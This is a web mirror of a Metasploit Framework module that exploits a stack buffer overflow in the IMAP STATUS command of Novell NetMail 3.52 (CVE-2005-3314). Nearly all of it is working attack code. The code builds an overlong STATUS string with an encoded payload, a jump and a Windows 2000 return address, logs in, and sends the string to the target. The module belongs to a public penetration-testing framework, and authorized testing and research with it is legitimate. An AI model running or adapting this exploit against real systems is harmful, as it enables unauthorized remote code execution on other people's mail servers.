Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_status.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS
18
verb. By sending an overly long string, an attacker can overwrite the
19
buffer and control program execution.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2005-3314' ],
25
[ 'OSVDB', '20956' ],
26
[ 'BID', '15491' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2005-11-18',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
end
51
52
def exploit
53
sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded
54
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
55
sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"
56
57
info = connect_login
58
59
if (info == true)
60
print_status("Trying target #{target.name}...")
61
sock.put(sploit + "\r\n")
62
else
63
print_status("Not falling through with exploit")
64
end
65
66
handler
67
disconnect
68
end
69
end
70
71